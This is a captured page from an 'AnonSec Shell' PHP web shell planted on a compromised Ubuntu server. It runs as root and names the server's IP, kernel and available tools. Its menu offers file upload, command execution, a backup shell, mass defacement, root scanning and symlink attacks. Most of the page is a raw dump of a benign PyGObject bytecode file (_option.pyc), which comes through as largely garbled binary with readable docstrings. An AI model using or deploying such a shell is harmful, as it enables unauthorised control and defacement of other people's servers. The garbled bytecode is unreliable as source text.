AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/gi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/gi/__pycache__/_option.cpython-310.pyc
o

f�_T3�@s�dZddlZddlZddlmZmZmZmZmZddlm	Z	ddl
mZddlm
Z
e	d�Ze�e���Zgd	�ZGd
d�dej�ZGdd
�d
ej�ZGdd�dej�ZeZdS)a,GOption command line parser

Extends optparse to use the GOptionGroup, GOptionEntry and GOptionContext
objects. So it is possible to use the gtk, gnome_program and gstreamer command
line groups and contexts.

Use this interface instead of the raw wrappers of GOptionContext and
GOptionGroup in glib.
�N)�
OptParseError�OptionError�OptionValueError�BadOptionError�OptionConflictError�)�get_introspection_module)�_gi)�GError�GLib)	rrrrr�Option�OptionGroup�OptionParser�make_optionc@sNeZdZdZejjdZejjgd�Zdej	Z
dd�Zdd�Zd	d
�Z
dS)ra�Represents a command line option

    To use the extended possibilities of the GOption API Option
    (and make_option) are extended with new types and attributes.

    Types:
        filename   The supplied arguments are read as filename, GOption
                   parses this type in with the GLib filename encoding.

    :ivar optional_arg:
        This does not need a arguement, but it can be supplied.
    :ivar hidden:
        The help list does not show this option
    :ivar in_main:
        This option apears in the main group, this should only
        be used for backwards compatibility.

    Use Option.REMAINING as option name to get all positional arguments.

    .. NOTE::
        Every argument to an option is passed as utf-8 coded string, the only
        exception are options which use the 'filename' type, its arguments
        are passed as strings in the GLib filename encoding.

    For further help, see optparse.Option.
    )�filename)�hidden�in_main�optional_arg�--cOs^tjj|g|�Ri|��|jstd��t|j�t|j�kr"td��|js-td|jd��dS)Nz!%s at least one long option name.z;%s at least more long option names than short option names.z%s needs a help message.r)�optparser�__init__�
_long_opts�
ValueError�len�_short_opts�help��self�args�kwargs�r �,/usr/lib/python3/dist-packages/gi/_option.pyr^s��zOption.__init__cCsF|j|vr|j�|j�tj�||�t|j�t|j�kr!td��dS)NzCgoption.Option needs more long option names than short option names)	�	REMAININGr�appendrr�_set_opt_stringrrr)r�optsr r r!r$js
�zOption._set_opt_stringccs��d}|jr|tjjO}|jr|tjjO}|��r#|jr"|tjjO}n|tjj	O}|j
dkr4|tjjO}t|j
|j�D] \}}|d}t|t�sM|�d�}|dd�|||j|jfVq;|j
t|j�d�D]}|dd�d||j|jfVqfdS)Nrrrzutf-8��)rr�OptionFlags�HIDDENr�IN_MAIN�takes_valuer�OPTIONAL_ARG�NO_ARG�type�FILENAME�ziprr�
isinstance�bytes�encoder�metavarr)r�flags�	long_name�
short_name�short_bytesr r r!�_to_goptionentriesrs*��


�zOption._to_goptionentriesN)�__name__�
__module__�__qualname__�__doc__rr�TYPES�ATTRSr�OPTION_REMAININGr"rr$r9r r r r!r7s
rc@sBeZdZdZ			ddd�Zdd�Zdd	�Zdd
d�Zdd
�ZdS)r
a�A group of command line options.

    :param str name:
        The groups name, used to create the --help-{name} option
    :param str description:
        Shown as title of the groups help view
    :param str help_description:
        Shown as help to the --help-{name} option
    :param list option_list:
        The options used in this group, must be option.Option()
    :param dict defaults:
        A dicitionary of default values
    :param translation_domain:
           Sets the translation domain for gettext().

    .. NOTE::
        This OptionGroup does not exactly map the optparse.OptionGroup
        interface. There is no parser object to supply, but it is possible
        to set default values and option_lists. Also the default values and
        values are not shared with the OptionParser.

    To pass a OptionGroup into a function which expects a GOptionGroup (e.g.
    gnome_program_init() ). OptionGroup.get_option_group() can be used.

    For further help, see optparse.OptionGroup.
    �NcCsZtj�|td|�||_d|_||_|r||_d|_||_	|r)|D]	}|�
|�q!dSdS)N�error)r�OptionContainerrr�name�parser�help_description�defaults�values�translation_domain�
add_option)rrD�descriptionrF�option_listrGrI�optionr r r!r�s�zOptionGroup.__init__cCsg|_|��dS�N)rL�_create_option_mappings)rr r r!�_create_option_list�szOptionGroup._create_option_listcsb��fdd�}t��j�j�j|�}�jr|��j�g}�jD]	}|�|�	��q |�
|�|S)Ncs~|�d�r�j|}n�j|}z|�||�j��WdSty>t��d}tt	|��}t
|_tj
j|_t	|�|_|�w)Nrr)�
startswith�	_long_opt�
_short_opt�processrHr�sys�exc_infor
�str�OPTION_CONTEXT_ERROR_QUARK�domainrr�	BAD_VALUE�code�message)�option_name�option_value�group�optrB�gerror�rErr r!�callback�s



�z.OptionGroup._to_goptiongroup.<locals>.callback)r	r
rDrKrFrI�set_translation_domainrL�extendr9�add_entries)rrErcr_�entriesrMr rbr!�_to_goptiongroup�s�

zOptionGroup._to_goptiongroupcCs|��|�|�S)z� Returns the corresponding GOptionGroup object.

        Can be used as parameter for gnome_program_init(), gtk_init().
        )�set_values_to_defaultsrh)rrEr r r!�get_option_group�s
zOptionGroup.get_option_groupcCsR|jD]}|j�|j�}t|t�r|��}|�||�|j|j<qt�	|j�|_
dSrN)rLrG�get�destr1rW�get_opt_string�check_valuer�ValuesrH)rrM�default�opt_strr r r!ri�s

��z"OptionGroup.set_values_to_defaults)rANNNrN)	r:r;r<r=rrPrhrjrir r r r!r
�s
�
r
c@sJeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	ddd�Z
dS)raHCommand line parser with GOption support.

    :param bool help_enabled:
        The --help, --help-all and --help-{group} options are enabled (default).
    :param bool ignore_unknown_options:
        Do not throw a exception when a option is not knwon, the option
        will be in the result list.

    .. NOTE::
        The OptionParser interface is not the exactly the same as the
        optparse.OptionParser interface. Especially the usage parameter
        is only used to show the metavar of the arguements.

    OptionParser.add_option_group() does not only accept OptionGroup instances
    but also glib.OptionGroup, which is returned by gtk_get_option_group().

    Only glib.option.OptionGroup and glib.option.Option instances should
    be passed as groups and options.

    For further help, see optparse.OptionParser.
    cOsNd|vrt|d<|�dd�|_|�dd�|_tjj|g|�Rddi|��dS)N�option_class�help_enabledT�ignore_unknown_optionsF�add_help_option)r�poprsrtrrrrr r r!rs�

�
�zOptionParser.__init__cCs<|dur	d|_dS|�d�r|td�d�|_dS||_dS)NrAz%prog)�usagerQr)rrwr r r!�	set_usages



zOptionParser.set_usagec
s��jr�jd�j}n�j}t�|�}|��j�|��j��jD]}t	|tj
�r.|}n|���}|�|�q#��fdd�}t�
ddd|�}g}�j
D]	}	|�|	���qM|�|�|�|�|S)Nz - cs4|�d�r�j|}n�j|}|�||���dS)Nr)rQrRrSrT)r]r^r_r`�rrHr r!rc's

z1OptionParser._to_goptioncontext.<locals>.callback)rKrwr	�
OptionContext�set_help_enabledrs�set_ignore_unknown_optionsrt�
option_groupsr1r
rj�	add_grouprLrer9rf�set_main_group)
rrH�parameter_string�context�option_group�g_grouprc�
main_group�main_entriesrMr ryr!�_to_goptioncontexts&





zOptionParser._to_goptioncontextcOs�t|dt�rtj�|t|g|�Ri|���dSt|�dkrO|sOt|dt�r=|djs2||d_|dj|ur=td��t|dt	j�rO|j
�|d�dStjj|g|�Ri|��dS)Nrrz"invalid OptionGroup (wrong parser))r1rWrr�add_option_groupr
rrErr	r}r#rr r r!r�7s�

zOptionParser.add_option_groupcCs6|jdd�}|jD]}t|tj�r|�|j�q
|SrN)rLr}r1rr
re)r�optionsr_r r r!�_get_all_optionsGs
�zOptionParser._get_all_optionscCs4|�|�}|�tjdg|�dd�|dd�<dS)Nrr)r��parserU�argv)r�largs�rargsrHr�r r r!�
_process_argsNs
*zOptionParser._process_argsNcCs�ztj�|||�\}}Wn8tyDt��d}|jtkr�|jt	j
jkr+t|j
��|jt	j
jkr7t|j
��|jt	j
jkrCt|j
���w|jD]}|jj��D]
\}}|�||�qPqH||fS)Nr)rr�
parse_argsr
rUrVrYrXr[rrrZrr\�UNKNOWN_OPTIONr�FAILEDrr}rH�__dict__�items�ensure_value)rrrHr�rBr_�key�valuer r r!r�Vs*�



�

�zOptionParser.parse_args)NN)r:r;r<r=rrxr�r�r�r�r�r r r r!r�s	 r)r=rUrrrrrr�moduler�gir	�	gi._errorr
r�quark_to_string�option_error_quarkrX�__all__rr
rrr r r r!�<module>s

Wa

Anon7 - 2022
AnonSec Team